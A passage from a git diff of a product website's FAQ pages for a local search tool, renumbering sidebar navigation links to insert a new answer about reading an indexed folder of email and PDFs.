class="eyebrow">55</span>How do I keep an index current when the files live in an object store?</a>- <a href="/answers/check-codebase-index-is-complete" class=""><span class="eyebrow">56</span>My codebase indexer says indexed but I don't see my code. How do I check it actually finished?</a>- <a href="/answers/estimate-autoindex-time-before-running" class=""><span class="eyebrow">57</span>How do I estimate folder-indexing time?</a>- <a href="/answers/why-autoindex-skipped-files" class=""><span class="eyebrow">58</span>Why would a folder search miss files that I can see on disk?</a>- <a href="/answers/autoindex-dataset-refused-by-server" class=""><span class="eyebrow">59</span>One dataset was REFUSED by the server. Did I lose the whole index?</a>- <a href="/answers/autoindex-exit-codes" class=""><span class="eyebrow">60</span>The indexer exited 3 (or 4). Did it fail?</a>- <a href="/answers/autoindex-server-back-pressure-429" class=""><span class="eyebrow">61</span>The server pushed back with HTTP 429. Did xerj autoindex lose the run?</a>- <a href="/answers/autoindex-says-extract-the-archive-first" class=""><span class="eyebrow">62</span>xerj autoindex recorded my Takeout .zip as junk and said to extract it first. Why?</a>- <a href="/answers/keep-index-current-as-files-change" class=""><span class="eyebrow">63</span>How do I keep a search index up to date as files change, without re-indexing everything?</a>- <a href="/answers/search-engine-without-docker" class=""><span class="eyebrow">64</span>Is there a single-binary local search engine I can just run?</a>- <a href="/answers/cheap-low-volume-log-search" class=""><span class="eyebrow">65</span>What can I use for low-volume log search?</a>- <a href="/answers/read-autoindex-progress" class=""><span class="eyebrow">66</span>How do I read autoindex progress?</a>- <a href="/answers/resume-interrupted-autoindex-run" class=""><span class="eyebrow">67</span>The indexer died overnight. Do I have to start over?</a>- <a href="/answers/reindex-taking-forever" class=""><span class="eyebrow">68</span>Reindexing my files is taking forever. What usually causes that?</a>- <a href="/answers/what-is-xerj" class=""><span class="eyebrow">69</span>What is XERJ?</a>- <a href="/answers/improve-basic-faiss-rag-pipeline" class=""><span class="eyebrow">70</span>How do I improve a basic FAISS RAG pipeline?</a>- <a href="/answers/filter-knn-exact-scan-caveat" class=""><span class="eyebrow">71</span>Why did my filtered vector search get slower when I added a filter?</a>- <a href="/answers/vector-database-vs-full-text-search" class=""><span class="eyebrow">72</span>What's the actual difference between a vector database and full-text search when I have a folder?</a>- <a href="/answers/share-folder-read-only-search-without-uploading" class=""><span class="eyebrow">73</span>How do I give my lawyer or accountant read-only search over a folder of email and PDFs without uploading it?</a>- <a href="/answers/share-local-search-index-through-a-tunnel" class=""><span class="eyebrow">74</span>How do I let someone outside my network search an index on my laptop without opening a port?</a>- <a href="/answers/what-a-share-link-guest-can-reach" class=""><span class="eyebrow">75</span>If I share one index with a link and a passcode, what can that person actually reach on my node?</a>+ <a href="/answers/read-indexed-email-and-pdf-folder" class=""><span class="eyebrow">39</span>I indexed a folder of email and PDFs. How do I actually read what it found?</a>+ <a href="/answers/search-jupyter-notebook-cells" class=""><span class="eyebrow">40</span>I need to find a function I wrote in a notebook months ago. How do I search all .ipynb files and the .py next to them?</a>+ <a href="/answers/search-html-export" class=""><span class="eyebrow">41</span>I saved a help-center as HTML. How do I search it like the real help-center search?</a>+ <a href="/answers/is-pdf-indexing-efficient" class=""><span class="eyebrow">42</span>Is it efficient to index PDF files?</a>+ <a href="/answers/full-text-search-browser-history" class=""><span class="eyebrow">43</span>Is there a way to full-text search my browser history file itself?</a>+ <a href="/answers/search-openapi-spec-for-agent" class=""><span class="eyebrow">44</span>My agent needs to look up endpoints in a big OpenAPI spec and the SDK markdown. What's the right way?</a>+ <a href="/answers/search-obsidian-pdf-docx-attachments" class=""><span class="eyebrow">45</span>What's the best way to search markdown notes and PDFs in the same vault?</a>+ <a href="/answers/search-json-and-jsonl-logs" class=""><span class="eyebrow">46</span>What's the easiest way to search JSON logs plus some old gzip text logs in the same folder?</a>+ <a href="/answers/notion-export-duplicate-search-results" class=""><span class="eyebrow">47</span>Why does my Notion export duplicate titles?</a>+ <a href="/answers/search-gmail-takeout-mbox-locally" class=""><span class="eyebrow">48</span>I exported my Gmail with Google Takeout. How do I search that mbox file locally?</a>+ <a href="/answers/how-xerj-autoindexes-a-folder" class=""><span class="eyebrow">49</span>I want to point something at a folder and then ask questions about what's in it. What should I use?</a>+ <a href="/answers/rag-without-vector-database" class=""><span class="eyebrow">50</span>How do I build RAG without a vector database?</a>+ <a href="/answers/hybrid-search-quality-measured-ndcg" class=""><span class="eyebrow">51</span>How much better is hybrid search than BM25? Measured nDCG numbers</a>+ <a href="/answers/rerank-search-results-calibrated-judge" class=""><span class="eyebrow">52</span>How do I rerank search results with a calibrated relevance judge?</a>+ <a href="/answers/reciprocal-rank-fusion-when-to-use" class=""><span class="eyebrow">53</span>What is Reciprocal Rank Fusion?</a>+ <a href="/answers/how-xerj-combines-search" class="active"><span class="eyebrow">54</span>How does XERJ combine BM25 and kNN?</a>+ <a href="/answers/search-files-in-an-s3-bucket" class=""><span class="eyebrow">55</span>How do I search files that live in an S3 bucket?</a>+ <a href="/answers/keep-s3-bucket-index-current" class=""><span class="eyebrow">56</span>How do I keep an index current when the files live in an object store?</a>+ <a href="/answers/check-codebase-index-is-complete" class=""><span class="eyebrow">57</span>My codebase indexer says indexed but I don't see my code. How do I check it actually finished?</a>+ <a href="/answers/estimate-autoindex-time-before-running" class=""><span class="eyebrow">58</span>How do I estimate folder-indexing time?</a>+ <a href="/answers/why-autoindex-skipped-files" class=""><span class="eyebrow">59</span>Why would a folder search miss files that I can see on disk?</a>+ <a href="/answers/autoindex-dataset-refused-by-server" class=""><span class="eyebrow">60</span>One dataset was REFUSED by the server. Did I lose the whole index?</a>+ <a href="/answers/autoindex-exit-codes" class=""><span class="eyebrow">61</span>The indexer exited 3 (or 4). Did it fail?</a>+ <a href="/answers/autoindex-server-back-pressure-429" class=""><span class="eyebrow">62</span>The server pushed back with HTTP 429. Did xerj autoindex lose the run?</a>+ <a href="/answers/autoindex-says-extract-the-archive-first" class=""><span class="eyebrow">63</span>xerj autoindex recorded my Takeout .zip as junk and said to extract it first. Why?</a>+ <a href="/answers/keep-index-current-as-files-change" class=""><span class="eyebrow">64</span>How do I keep a search index up to date as files change, without re-indexing everything?</a>+ <a href="/answers/search-engine-without-docker" class=""><span class="eyebrow">65</span>Is there a single-binary local search engine I can just run?</a>+ <a href="/answers/cheap-low-volume-log-search" class=""><span class="eyebrow">66</span>What can I use for low-volume log search?</a>+ <a href="/answers/read-autoindex-progress" class=""><span class="eyebrow">67</span>How do I read autoindex progress?</a>+ <a href="/answers/resume-interrupted-autoindex-run" class=""><span class="eyebrow">68</span>The indexer died overnight. Do I have to start over?</a>+ <a href="/answers/reindex-taking-forever" class=""><span class="eyebrow">69</span>Reindexing my files is taking forever. What usually causes that?</a>+ <a href="/answers/what-is-xerj" class=""><span class="eyebrow">70</span>What is XERJ?</a>+ <a href="/answers/improve-basic-faiss-rag-pipeline" class=""><span class="eyebrow">71</span>How do I improve a basic FAISS RAG pipeline?</a>+ <a href="/answers/filter-knn-exact-scan-caveat" class=""><span class="eyebrow">72</span>Why did my filtered vector search get slower when I added a filter?</a>+ <a href="/answers/vector-database-vs-full-text-search" class=""><span class="eyebrow">73</span>What's the actual difference between a vector database and full-text search when I have a folder?</a>+ <a href="/answers/share-folder-read-only-search-without-uploading" class=""><span class="eyebrow">74</span>How do I give my lawyer or accountant read-only search over a folder of email and PDFs without uploading it?</a>+ <a href="/answers/share-local-search-index-through-a-tunnel" class=""><span class="eyebrow">75</span>How do I let someone outside my network search an index on my laptop without opening a port?</a>+ <a href="/answers/what-a-share-link-guest-can-reach" class=""><span class="eyebrow">76</span>If I share one index with a link and a passcode, what can that person actually reach on my node?</a></div><div class="group"><span class="label">COMPARISONS</span>diff --git a/landing/answers/hybrid-search-quality-measured-ndcg.html b/landing/answers/hybrid-search-quality-measured-ndcg.htmlindex c2f0dea4f..b5d53d359 100644--- a/landing/answers/hybrid-search-quality-measured-ndcg.html+++ b/landing/answers/hybrid-search-quality-measured-ndcg.html@@ -179,43 +179,44 @@<a href="/answers/index-multiple-csv-files" class=""><span class="eyebrow">36</span>I have a directory of CSV exports. How do I query them without opening each one in Excel?</a><a href="/answers/search-file-contents-in-a-folder" class=""><span class="eyebrow">37</span>I have a folder of PDFs, Word docs, and markdown. How do I search all of them at once?</a><a href="/answers/search-zendesk-ticket-json-export" class=""><span class="eyebrow">38</span>I have a JSON export of Jira issues (or Zendesk tickets). How do I search it like a help-center search?</a>- <a href="/answers/search-jupyter-notebook-cells" class=""><span class="eyebrow">39</span>I need to find a function I wrote in a notebook months ago. How do I search all .ipynb files and the .py next to them?</a>- <a href="/answers/search-html-export" class=""><span class="eyebrow">40</span>I saved a help-center as HTML. How do I search it like the real help-center search?</a>- <a href="/answers/is-pdf-indexing-efficient" class=""><span class="eyebrow">41</span>Is it efficient to index PDF files?</a>- <a href="/answers/full-text-search-browser-history" class=""><span class="eyebrow">42</span>Is there a way to full-text search my browser history file itself?</a>- <a href="/answers/search-openapi-spec-for-agent" class=""><span class="eyebrow">43</span>My agent needs to look up endpoints in a big OpenAPI spec and the SDK markdown. What's the right way?</a>- <a href="/answers/search-obsidian-pdf-docx-attachments" class=""><span class="eyebrow">44</span>What's the best way to search markdown notes and PDFs in the same vault?</a>- <a href="/answers/search-json-and-jsonl-logs" class=""><span class="eyebrow">45</span>What's the easiest way to search JSON logs plus some old gzip text logs in the same folder?</a>- <a href="/answers/notion-export-duplicate-search-results" class=""><span class="eyebrow">46</span>Why does my Notion export duplicate titles?</a>- <a href="/answers/search-gmail-takeout-mbox-locally" class=""><span class="eyebrow">47</span>I exported my Gmail with Google Takeout. How do I search that mbox file locally?</a>- <a href="/answers/how-xerj-autoindexes-a-folder" class=""><span class="eyebrow">48</span>I want to point something at a folder and then ask questions about what's in it. What should I use?</a>- <a href="/answers/rag-without-vector-database" class=""><span class="eyebrow">49</span>How do I build RAG without a vector database?</a>- <a href="/answers/hybrid-search-quality-measured-ndcg" class="active"><span class="eyebrow">50</span>How much better is hybrid search than BM25? Measured nDCG numbers</a>- <a href="/answers/rerank-search-results-calibrated-judge" class=""><span class="eyebrow">51</span>How do I rerank search results with a calibrated relevance judge?</a>- <a href="/answers/reciprocal-rank-fusion-when-to-use" class=""><span class="eyebrow">52</span>What is Reciprocal Rank Fusion?</a>- <a href="/answers/how-xerj-combines-search" class=""><span class="eyebrow">53</span>How does XERJ combine BM25 and kNN?</a>- <a href="/answers/search-files-in-an-s3-bucket" class=""><span class="eyebrow">54</span>How do I search files that live in an S3 bucket?</a>- <a href="/answers/keep-s3-bucket-index-current" class=""><span class="eyebrow">55</span>How do I keep an index current when the files live in an object store?</a>- <a href="/answers/check-codebase-index-is-complete" class=""><span class="eyebrow">56</span>My codebase indexer says indexed but I don't see my code. How do I check it actually finished?</a>- <a href="/answers/estimate-autoindex-time-before-running" class=""><span class="eyebrow">57</span>How do I estimate folder-indexing time?</a>- <a href="/answers/why-autoindex-skipped-files" class=""><span class="eyebrow">58</span>Why would a folder search miss files that I can see on disk?</a>- <a href="/answers/autoindex-dataset-refused-by-server" class=""><span class="eyebrow">59</span>One dataset was REFUSED by the server. Did I lose the whole index?</a>- <a href="/answers/autoindex-exit-codes" class=""><span class="eyebrow">60</span>The indexer exited 3 (or 4). Did it fail?</a>- <a href="/answers/autoindex-server-back-pressure-429" class=""><span class="eyebrow">61</span>The server pushed back with HTTP 429. Did xerj autoindex lose the run?</a>- <a href="/answers/autoindex-says-extract-the-archive-first" class=""><span class="eyebrow">62</span>xerj autoindex recorded my Takeout .zip as junk and said to extract it first. Why?</a>- <a href="/answers/keep-index-current-as-files-change" class=""><span class="eyebrow">63</span>How do I keep a search index up to date as files change, without re-indexing everything?</a>- <a href="/answers/search-engine-without-docker" class=""><span class="eyebrow">64</span>Is there a single-binary local search engine I can just run?</a>- <a href="/answers/cheap-low-volume-log-search" class=""><span class="eyebrow">65</span>What can I use for low-volume log search?</a>- <a href="/answers/read-autoindex-progress" class=""><span class="eyebrow">66</span>How do I read autoindex progress?</a>- <a href="/answers/resume-interrupted-autoindex-run" class=""><span class="eyebrow">67</span>The indexer died overnight. Do I have to start over?</a>- <a href="/answers/reindex-taking-forever" class=""><span class="eyebrow">68</span>Reindexing my files is taking forever. What usually causes that?</a>- <a href="/answers/what-is-xerj" class=""><span class="eyebrow">69</span>What is XERJ?</a>- <a href="/answers/improve-basic-faiss-rag-pipeline" class=""><span class="eyebrow">70</span>How do I improve a basic FAISS RAG pipeline?</a>- <a href="/answers/filter-knn-exact-scan-caveat" class=""><span class="eyebrow">71</span>Why did my filtered vector search get slower when I added a filter?</a>- <a href="/answers/vector-database-vs-full-text-search" class=""><span class="eyebrow">72</span>What's the actual difference between a vector database and full-text search when I have a folder?</a>- <a href="/answers/share-folder-read-only-search-without-uploading" class=""><span class="eyebrow">73</span>How do I give my lawyer or accountant read-only search over a folder of email and PDFs without uploading it?</a>- <a href="/answers/share-local-search-index-through-a-tunnel" class=""><span class="eyebrow">74</span>How do I let someone outside my network search an index on my laptop without opening a port?</a>- <a href="/answers/what-a-share-link-guest-can-reach" class=""><span class="eyebrow">75</span>If I share one index with a link and a passcode, what can that person actually reach on my node?</a>+ <a href="/answers/read-indexed-email-and-pdf-folder" class=""><span class="eyebrow">39</span>I indexed a folder of email and PDFs. How do I actually read what it found?</a>+ <a href="/answers/search-jupyter-notebook-cells" class=""><span class="eyebrow">40</span>I need to find a function I wrote in a notebook months ago. How do I search all .ipynb files and the .py next to them?</a>+ <a href="/answers/search-html-export" class=""><span class="eyebrow">41</span>I saved a help-center as HTML. How do I search it like the real help-center search?</a>+ <a href="/answers/is-pdf-indexing-efficient" class=""><span class="eyebrow">42</span>Is it efficient to index PDF files?</a>+ <a href="/answers/full-text-search-browser-history" class=""><span class="eyebrow">43</span>Is there a way to full-text search my browser history file itself?</a>+ <a href="/answers/search-openapi-spec-for-agent" class=""><span class="eyebrow">44</span>My agent needs to look up endpoints in a big OpenAPI spec and the SDK markdown. What's the right way?</a>+ <a href="/answers/search-obsidian-pdf-docx-attachments" class=""><span class="eyebrow">45</span>What's the best way to search markdown notes and PDFs in the same vault?</a>+ <a href="/answers/search-json-and-jsonl-logs" class=""><span class="eyebrow">46</span>What's the easiest way to search JSON logs plus some old gzip text logs in the same folder?</a>+ <a href="/answers/notion-export-duplicate-search-results" class=""><span class="eyebrow">47</span>Why does my Notion export duplicate titles?</a>+ <a href="/answers/search-gmail-takeout-mbox-locally" class=""><span class="eyebrow">48</span>I exported my Gmail with Google Takeout. How do I search that mbox file locally?</a>+ <a href="/answers/how-xerj-autoindexes-a-folder" class=""><span class="eyebrow">49</span>I want to point something at a folder and then ask questions about what's in it. What should I use?</a>+ <a href="/answers/rag-without-vector-database" class=""><span class="eyebrow">50</span>How do I build RAG without a vector database?</a>+ <a href="/answers/hybrid-search-quality-measured-ndcg" class="active"><span class="eyebrow">51</span>How much better is hybrid search than BM25? Measured nDCG numbers</a>+ <a href="/answers/rerank-search-results-calibrated-judge" class=""><span class="eyebrow">52</span>How do I rerank search results with a calibrated relevance judge?</a>+ <a href="/answers/reciprocal-rank-fusion-when-to-use" class=""><span class="eyebrow">53</span>What is Reciprocal Rank Fusion?</a>+ <a href="/answers/how-xerj-combines-search" class=""><span class="eyebrow">54</span>How does XERJ combine BM25 and kNN?</a>+ <a href="/answers/search-files-in-an-s3-bucket" class=""><span class="eyebrow">55</span>How do I search files that live in an S3 bucket?</a>+ <a href="/answers/keep-s3-bucket-index-current" class=""><span class="eyebrow">56</span>How do I keep an index current when the files live in an object store?</a>+ <a href="/answers/check-codebase-index-is-complete" class=""><span class="eyebrow">57</span>My codebase indexer says indexed but I don't see my code. How do I check it actually finished?</a>+ <a href="/answers/estimate-autoindex-time-before-running" class=""><span class="eyebrow">58</span>How do I estimate folder-indexing time?</a>+ <a href="/answers/why-autoindex-skipped-files" class=""><span class="eyebrow">59</span>Why would a folder search miss files that I can see on disk?</a>+ <a href="/answers/autoindex-dataset-refused-by-server" class=""><span class="eyebrow">60</span>One dataset was REFUSED by the server. Did I lose the whole index?</a>+ <a href="/answers/autoindex-exit-codes" class=""><span class="eyebrow">61</span>The indexer exited 3 (or 4). Did it fail?</a>+ <a href="/answers/autoindex-server-back-pressure-429" class=""><span class="eyebrow">62</span>The server pushed back with HTTP 429. Did xerj autoindex lose the run?</a>+ <a href="/answers/autoindex-says-extract-the-archive-first" class=""><span class="eyebrow">63</span>xerj autoindex recorded my Takeout .zip as junk and said to extract it first. Why?</a>+ <a href="/answers/keep-index-current-as-files-change" class=""><span class="eyebrow">64</span>How do I keep a search index up to date as files change, without re-indexing everything?</a>+ <a href="/answers/search-engine-without-docker" class=""><span class="eyebrow">65</span>Is there a single-binary local search engine I can just run?</a>+ <a href="/answers/cheap-low-volume-log-search" class=""><span class="eyebrow">66</span>What can I use for low-volume log search?</a>+ <a href="/answers/read-autoindex-progress" class=""><span class="eyebrow">67</span>How do I read autoindex progress?</a>+ <a href="/answers/resume-interrupted-autoindex-run" class=""><span class="eyebrow">68</span>The indexer died overnight. Do I have to start over?</a>+ <a href="/answers/reindex-taking-forever" class=""><span class="eyebrow">69</span>Reindexing my files is taking forever. What usually causes that?</a>+ <a href="/answers/what-is-xerj" class=""><span class="eyebrow">70</span>What is XERJ?</a>+ <a href="/answers/improve-basic-faiss-rag-pipeline" class=""><span class="eyebrow">71</span>How do I improve a basic FAISS RAG pipeline?</a>+ <a href="/answers/filter-knn-exact-scan-caveat" class=""><span class="eyebrow">72</span>Why did my filtered vector search get slower when I added a filter?</a>+ <a href="/answers/vector-database-vs-full-text-search" class=""><span class="eyebrow">73</span>What's the actual difference between a vector database and full-text search when I have a folder?</a>+ <a href="/answers/share-folder-read-only-search-without-uploading" class=""><span class="eyebrow">74</span>How do I give my lawyer or accountant read-only search over a folder of email and PDFs without uploading it?</a>+ <a href="/answers/share-local-search-index-through-a-tunnel" class=""><span class="eyebrow">75</span>How do I let someone outside my network search an index on my laptop without opening a port?</a>+ <a href="/answers/what-a-share-link-guest-can-reach" class=""><span class="eyebrow">76</span>If I share one index with a link and a passcode, what can that person actually reach on my node?</a></div><div class="group"><span class="label">COMPARISONS</span>diff --git a/landing/answers/improve-basic-faiss-rag-pipeline.html b/landing/answers/improve-basic-faiss-rag-pipeline.htmlindex 1b761ec2a..3b34bfbc3 100644--- a/landing/answers/improve-basic-faiss-rag-pipeline.html+++ b/landing/answers/improve-basic-faiss-rag-pipeline.html@@ -179,43 +179,44 @@<a href="/answers/index-multiple-csv-files" class=""><span class="eyebrow">36</span>I have a directory of CSV exports. How do I query them without opening each one in Excel?</a><a href="/answers/search-file-contents-in-a-folder" class=""><span class="eyebrow">37</span>I have a folder of PDFs, Word docs, and markdown. How do I search all of them at once?</a><a href="/answers/search-zendesk-ticket-json-export" class=""><span class="eyebrow">38</span>I have a JSON export of Jira issues (or Zendesk tickets). How do I search it like a help-center search?</a>- <a href="/answers/search-jupyter-notebook-cells" class=""><span class="eyebrow">39</span>I need to find a function I wrote in a notebook months ago. How do I search all .ipynb files and the .py next to them?</a>- <a href="/answers/search-html-export" class=""><span class="eyebrow">40</span>I saved a help-center as HTML. How do I search it like the real help-center search?</a>- <a href="/answers/is-pdf-indexing-efficient" class=""><span class="eyebrow">41</span>Is it efficient to index PDF files?</a>- <a href="/answers/full-text-search-browser-history" class=""><span class="eyebrow">42</span>Is there a way to full-text search my browser history file itself?</a>- <a href="/answers/search-openapi-spec-for-agent" class=""><span class="eyebrow">43</span>My agent needs to look up endpoints in a big OpenAPI spec and the SDK markdown. What's the right way?</a>- <a href="/answers/search-obsidian-pdf-docx-attachments" class=""><span class="eyebrow">44</span>What's the best way to search markdown notes and PDFs in the same vault?</a>- <a href="/answers/search-json-and-jsonl-logs" class=""><span class="eyebrow">45</span>What's the easiest way to search JSON logs plus some old gzip text logs in the same folder?</a>- <a href="/answers/notion-export-duplicate-search-results" class=""><span class="eyebrow">46</span>Why does my Notion export duplicate titles?</a>- <a href="/answers/search-gmail-takeout-mbox-locally" class=""><span class="eyebrow">47</span>I exported my Gmail with Google Takeout. How do I search that mbox file locally?</a>- <a href="/answers/how-xerj-autoindexes-a-folder" class=""><span class="eyebrow">48</span>I want to point something at a folder and then ask questions about what's in it. What should I use?</a>- <a href="/answers/rag-without-vector-database" class=""><span class="eyebrow">49</span>How do I build RAG without a vector database?</a>- <a href="/answers/hybrid-search-quality-measured-ndcg" class=""><span class="eyebrow">50</span>How much better is hybrid search than BM25? Measured nDCG numbers</a>- <a href="/answers/rerank-search-results-calibrated-judge" class=""><span class="eyebrow">51</span>How do I rerank search results with a calibrated relevance judge?</a>- <a href="/answers/reciprocal-rank-fusion-when-to-use" class=""><span class="eyebrow">52</span>What is Reciprocal Rank Fusion?</a>- <a href="/answers/how-xerj-combines-search" class=""><span class="eyebrow">53</span>How does XERJ combine BM25 and kNN?</a>- <a href="/answers/search-files-in-an-s3-bucket" class=""><span class="eyebrow">54</span>How do I search files that live in an S3 bucket?</a>- <a href="/answers/keep-s3-bucket-index-current" class=""><span class="eyebrow">55</span>How do I keep an index current when the files live in an object store?</a>- <a href="/answers/check-codebase-index-is-complete" class=""><span class="eyebrow">56</span>My codebase indexer says indexed but I don't see my code. How do I check it actually finished?</a>- <a href="/answers/estimate-autoindex-time-before-running" class=""><span class="eyebrow">57</span>How do I estimate folder-indexing time?</a>- <a href="/answers/why-autoindex-skipped-files" class=""><span class="eyebrow">58</span>Why would a folder search miss files that I can see on disk?</a>- <a href="/answers/autoindex-dataset-refused-by-server" class=""><span class="eyebrow">59</span>One dataset was REFUSED by the server. Did I lose the whole index?</a>- <a href="/answers/autoindex-exit-codes" class=""><span class="eyebrow">60</span>The indexer exited 3 (or 4). Did it fail?</a>- <a href="/answers/autoindex-server-back-pressure-429" class=""><span class="eyebrow">61</span>The server pushed back with HTTP 429. Did xerj autoindex lose the run?</a>- <a href="/answers/autoindex-says-extract-the-archive-first" class=""><span class="eyebrow">62</span>xerj autoindex recorded my Takeout .zip as junk and said to extract it first. Why?</a>- <a href="/answers/keep-index-current-as-files-change" class=""><span class="eyebrow">63</span>How do I keep a search index up to date as files change, without re-indexing everything?</a>- <a href="/answers/search-engine-without-docker" class=""><span class="eyebrow">64</span>Is there a single-binary local search engine I can just run?</a>- <a href="/answers/cheap-low-volume-log-search" class=""><span class="eyebrow">65</span>What can I use for low-volume log search?</a>- <a href="/answers/read-autoindex-progress" class=""><span class="eyebrow">66</span>How do I read autoindex progress?</a>- <a href="/answers/resume-interrupted-autoindex-run" class=""><span class="eyebrow">67</span>The indexer died overnight. Do I have to start over?</a>- <a href="/answers/reindex-taking-forever" class=""><span class="eyebrow">68</span>Reindexing my files is taking forever. What usually causes that?</a>- <a href="/answers/what-is-xerj" class=""><span class="eyebrow">69</span>What is XERJ?</a>- <a href="/answers/improve-basic-faiss-rag-pipeline" class="active"><span class="eyebrow">70</span>How do I improve a basic FAISS RAG pipeline?</a>- <a href="/answers/filter-knn-exact-scan-caveat" class=""><span class="eyebrow">71</span>Why did my filtered vector search get slower when I added a filter?</a>- <a href="/answers/vector-database-vs-full-text-search" class=""><span class="eyebrow">72</span>What's the actual difference between a vector database and full-text search when I have a folder?</a>- <a href="/answers/share-folder-read-only-search-without-uploading" class=""><span class="eyebrow">73</span>How do I give my lawyer or accountant read-only search over a folder of email and PDFs without uploading it?</a>- <a href="/answers/share-local-search-index-through-a-tunnel" class=""><span class="eyebrow">74</span>How do I let someone outside my network search an index on my laptop without opening a port?</a>- <a href="/answers/what-a-share-link-guest-can-reach" class=""><span class="eyebrow">75</span>If I share one index with a link and a passcode, what can that person actually reach on my node?</a>+ <a href="/answers/read-indexed-email-and-pdf-folder" class=""><span class="eyebrow">39</span>I indexed a folder of email and PDFs. How do I actually read what it found?</a>+ <a href="/answers/search-jupyter-notebook-cells" class=""><span class="eyebrow">40</span>I need to find a function I wrote in a notebook months ago. How do I search all .ipynb files and the .py next to them?</a>+ <a href="/answers/search-html-export" class=""><span class="eyebrow">41</span>I saved a help-center as HTML. How do I search it like the real help-center search?</a>+ <a href="/answers/is-pdf-indexing-efficient" class=""><span class="eyebrow">42</span>Is it efficient to index PDF files?</a>+ <a href="/answers/full-text-search-browser-history" class=""><span class="eyebrow">43</span>Is there a way to full-text search my browser history file itself?</a>+ <a href="/answers/search-openapi-spec-for-agent" class=""><span class="eyebrow">44</span>My agent needs to look up endpoints in a big OpenAPI spec and the SDK markdown. What's the right way?</a>+ <a href="/answers/search-obsidian-pdf-docx-attachments" class=""><span class="eyebrow">45</span>What's the best way to search markdown notes and PDFs in the same vault?</a>+ <a href="/answers/search-json-and-jsonl-logs" class=""><span class="eyebrow">46</span>What's the easiest way to search JSON logs plus some old gzip text logs in the same folder?</a>+ <a href="/answers/notion-export-duplicate-search-results" class=""><span class="eyebrow">47</span>Why does my Notion export duplicate titles?</a>+ <a href="/answers/search-gmail-takeout-mbox-locally" class=""><span class="eyebrow">48</span>I exported my Gmail with Google Takeout. How do I search that mbox file locally?</a>+ <a href="/answers/how-xerj-autoindexes-a-folder" class=""><span class="eyebrow">49</span>I want to point something at a folder and then ask questions about what's in it. What should I use?</a>+ <a href="/answers/rag-without-vector-database" class=""><span class="eyebrow">50</span>How do I build RAG without a vector database?</a>+ <a href="/answers/hybrid-search-quality-measured-ndcg" class=""><span class="eyebrow">51</span>How much better is hybrid search than BM25? Measured nDCG numbers</a>+ <a href="/answers/rerank-search-results-calibrated-judge" class=""><span class="eyebrow">52</span>How do I rerank search results with a calibrated relevance judge?</a>+ <a href="/answers/reciprocal-rank-fusion-when-to-use" class=""><span class="eyebrow">53</span>What is Reciprocal Rank Fusion?</a>+ <a href="/answers/how-xerj-combines-search" class=""><span class="eyebrow">54</span>How does XERJ combine BM25 and kNN?</a>+ <a href="/answers/search-files-in-an-s3-bucket" class=""><span class="eyebrow">55</span>How do I search files that live in an S3 bucket?</a>+ <a href="/answers/keep-s3-bucket-index-current" class=""><span class="eyebrow">56</span>How do I keep an index current when the files live in an object store?</a>+ <a href="/answers/check-codebase-index-is-complete" class=""><span class="eyebrow">57</span>My codebase indexer says indexed but I don't see my code. How do I check it actually finished?</a>+ <a href="/answers/estimate-autoindex-time-before-running" class=""><span class="eyebrow">58</span>How do I estimate folder-indexing time?</a>+ <a href="/answers/why-autoindex-skipped-files" class=""><span class="eyebrow">59</span>Why would a folder search miss files that I can see on disk?</a>+ <a href="/answers/autoindex-dataset-refused-by-server" class=""><span class="eyebrow">60</span>One dataset was REFUSED by the server. Did I lose the whole index?</a>+ <a href="/answers/autoindex-exit-codes" class=""><span class="eyebrow">61</span>The indexer exited 3 (or 4). Did it fail?</a>+ <a href="/answers/autoindex-server-back-pressure-429" class=""><span class="eyebrow">62</span>The server pushed back with HTTP 429. Did xerj autoindex lose the run?</a>+ <a href="/answers/autoindex-says-extract-the-archive-first" class=""><span class="eyebrow">63</span>xerj autoindex recorded my Takeout .zip as junk and said to extract it first. Why?</a>+ <a href="/answers/keep-index-current-as-files-change" class=""><span class="eyebrow">64</span>How do I keep a search index up to date as files change, without re-indexing everything?</a>+ <a href="/answers/search-engine-without-docker" class=""><span class="eyebrow">65</span>Is there a single-binary local search engine I can just run?</a>+ <a href="/answers/cheap-low-volume-log-search" class=""><span class="eyebrow">66</span>What can I use for low-volume log search?</a>+ <a href="/answers/read-autoindex-progress" class=""><span class="eyebrow">67</span>How do I read autoindex progress?</a>+ <a href="/answers/resume-interrupted-autoindex-run" class=""><span class="eyebrow">68</span>The indexer died overnight. Do I have to start over?</a>+ <a href="/answers/reindex-taking-forever" class=""><span class="eyebrow">69</span>Reindexing my files is taking forever. What usually causes that?</a>+ <a href="/answers/what-is-xerj" class=""><span class="eyebrow">70</span>What is XERJ?</a>+ <a href="/answers/improve-basic-faiss-rag-pipeline" class="active"><span class="eyebrow">71</span>How do I improve a basic FAISS RAG pipeline?</a>+ <a href="/answers/filter-knn-exact-scan-caveat" class=""><span class="eyebrow">72</span>Why did my filtered vector search get slower when I added a filter?</a>+ <a href="/answers/vector-database-vs-full-text-search" class=""><span class="eyebrow">73</span>What's the actual difference between a vector database and full-text search when I have a folder?</a>+ <a href="/answers/share-folder-read-only-search-without-uploading" class=""><span class="eyebrow">74</span>How do I give my lawyer or accountant read-only search over a folder of email and PDFs without uploading it?</a>+ <a href="/answers/share-local-search-index-through-a-tunnel" class=""><span class="eyebrow">75</span>How do I let someone outside my network search an index on my laptop without opening a port?</a>+ <a href="/answers/what-a-share-link-guest-can-reach" class=""><span class="eyebrow">76</span>If I share one index with a link and a passcode, what can that person actually reach on my node?</a></div><div class="group"><span class="label">COMPARISONS</span>diff --git a/landing/answers/index-csv-with-many-columns.html b/landing/answers/index-csv-with-many-columns.htmlindex d04c63249..e68d05d88 100644--- a/landing/answers/index-csv-with-many-columns.html+++ b/landing/answers/index-csv-with-many-columns.html@@ -179,43 +179,44 @@<a href="/answers/index-multiple-csv-files" class=""><span class="eyebrow">36</span>I have a directory of CSV exports. How do I query them without opening each one in Excel?</a><a href="/answers/search-file-contents-in-a-folder" class=""><span class="eyebrow">37</span>I have a folder of PDFs, Word docs, and markdown. How do I search all of them at once?</a><a href="/answers/search-zendesk-ticket-json-export" class=""><span class="eyebrow">38</span>I have a JSON export of Jira issues (or Zendesk tickets). How do I search it like a help-center search?</a>- <a href="/answers/search-jupyter-notebook-cells" class=""><span class="eyebrow">39</span>I need to find a function I wrote in a notebook months ago. How do I search all .ipynb files and the .py next to them?</a>- <a href="/answers/search-html-export" class=""><span class="eyebrow">40</span>I saved a help-center as HTML. How do I search it like the real help-center search?</a>- <a href="/answers/is-pdf-indexing-efficient" class=""><span class="eyebrow">41</span>Is it efficient to index PDF files?</a>- <a href="/answers/full-text-search-browser-history" class=""><span class="eyebrow">42</span>Is there a way to full-text search my browser history file 